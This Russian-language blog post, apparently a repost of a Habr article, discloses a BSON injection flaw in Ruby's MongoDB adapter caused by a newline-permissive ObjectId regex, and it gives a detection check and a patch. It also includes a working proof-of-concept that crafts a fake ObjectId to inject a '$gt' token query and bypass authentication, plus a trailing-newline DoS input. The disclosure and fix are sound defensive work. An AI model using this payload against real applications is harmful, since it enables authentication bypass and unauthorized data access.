BSON инъекция в MongoDB адаптере для Ruby

от автора

В BSON-ruby был найден баг который в лучшем случае приводил к небольшому DoS, но большинство версий было уязвимо к инъекции в BSON (аналог SQL инъекции, BSON это бинарный аналог JSON используемый для работы с базой).

На хабре уже как то упоминалась особенность регулярок в руби — у нас ^$ значат не просто начало и конец строки, но и новую строку \n.

Но тогда это были лишь XSS с помощью «javascript:a()\nhttp://» и я давно искал пример, когда регулярки приводят к серьезной уязвимости. И вот пару дней назад во время аудита зависимостей своего клиента на следующий код в BSON-ruby.

def legal?(str)   !!str.match(/^[0-9a-f]{24}$/i) end  


Этот метод ответственен за валидацию ObjectId. Например Order.find(params[:id]) где id это 24 символа из юзер инпута вида «21141c78d99f23d5f34d3201».

Проведя небольшое расследование я выяснил что уязвимость была исправлена в 2012, потом заново введена самим же мейнтейнером в 2013 в результате очень подозрительной регрессии.

С 17 апреля 2012 по март 2012 использовались ^$, затем \A\Z до апреля 2013, и затем снова ^$.

Чтобы проверить уязвимо ли ваше приложение запустите

b=((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId) raise "DoS!" if b.legal? "a"*24+"\n" raise "Injection!" if b.legal? "a"*24+"\na" And use this patch if you indeed are! Don’t forget to alert others. 

И используйте этот патч если да

def ((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId).legal?(s)   /\A\h{24}\z/ === s.to_s end 

Если вы используете старую версию BSON из 2013 года, то скорее всего там используются \A\Z и лишь небольшой DoS возможен. Почему? Потому что \Z в руби помимо окончания строки разрешают один \n в конце. Итого если мы пошлем id=aaaaaaaaaaaaaaaaaaaaaaaa%0A то монго будет ругаться [conn1] Assertion: 10307:Client Error: bad object in message: invalid bson type in object with _id: ObjectId(‘aaaaaaaaaaaaaaaaaaaaaaaa’).

Однако драйвер Руби не понимает эту ошибку и делает вывод что нода лежит. И пингует еще 39 раз в течении следующих 5 секунд, забивая воркер бесполезной работой, что может быть использовано как Denial of Service для некоторых сайтов.

Но это ничто по сравнению с тем что творится в последних версиях BSON. Там можно послать строку вида

_id=Any binary data\naaaaaaaaaaaaaaaaaaaaaaaa\nAny binary data

Что будет разпаковано и вставлено в тело BSON документа при запросе к монго без всякой валидации (предполагается что ObjectId уже валидирован и для быстродействия вставляется в чистом виде). С помощью данного Proof of Concept можно делать произвольные запросы к монго путем перезаписи параметров BSON документа, обходить системы аутенфикации на основе токенов или API ключей, делать DoS и возможно многое другое.

require 'uri' b = BSON::Document.new b["$query"] = {"token" => {"$gt"=>""}}  payload = b.to_bson[4..-2] id_ish = ("\n\n" + "a"*24 + "\n\n")  fake_id = "a"*24 +   "\x02_id\0".unpack('H*')[0] +   [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +   payload.unpack('H*')[0]  puts URI.encode(fake_id) # looks like: # aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000  User.find fake_id #returns <User _id: 556f840f686f6d6746000000, token: "a"> 

В итоге запрос с инъекцией такой:

\x83\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xD4\a\x00\x00\x00\x00\x00\x00 mng_development.users\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x00\x00\x00\a_id\x00 \xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x02_id\x00\x0F\x00\x00\x00\xAA \xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x00\x03$query\x00\e\x00\x00 \x00\x03token\x00\x0F\x00\x00\x00\x02$gt\x00\x01\x00\x00\x00\x00\x00\x00\x00

Примените патч, и помните, что в регулярках в руби всегда нужно использовать \A\z.

ссылка на оригинал статьи http://habrahabr.ru/post/259569/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *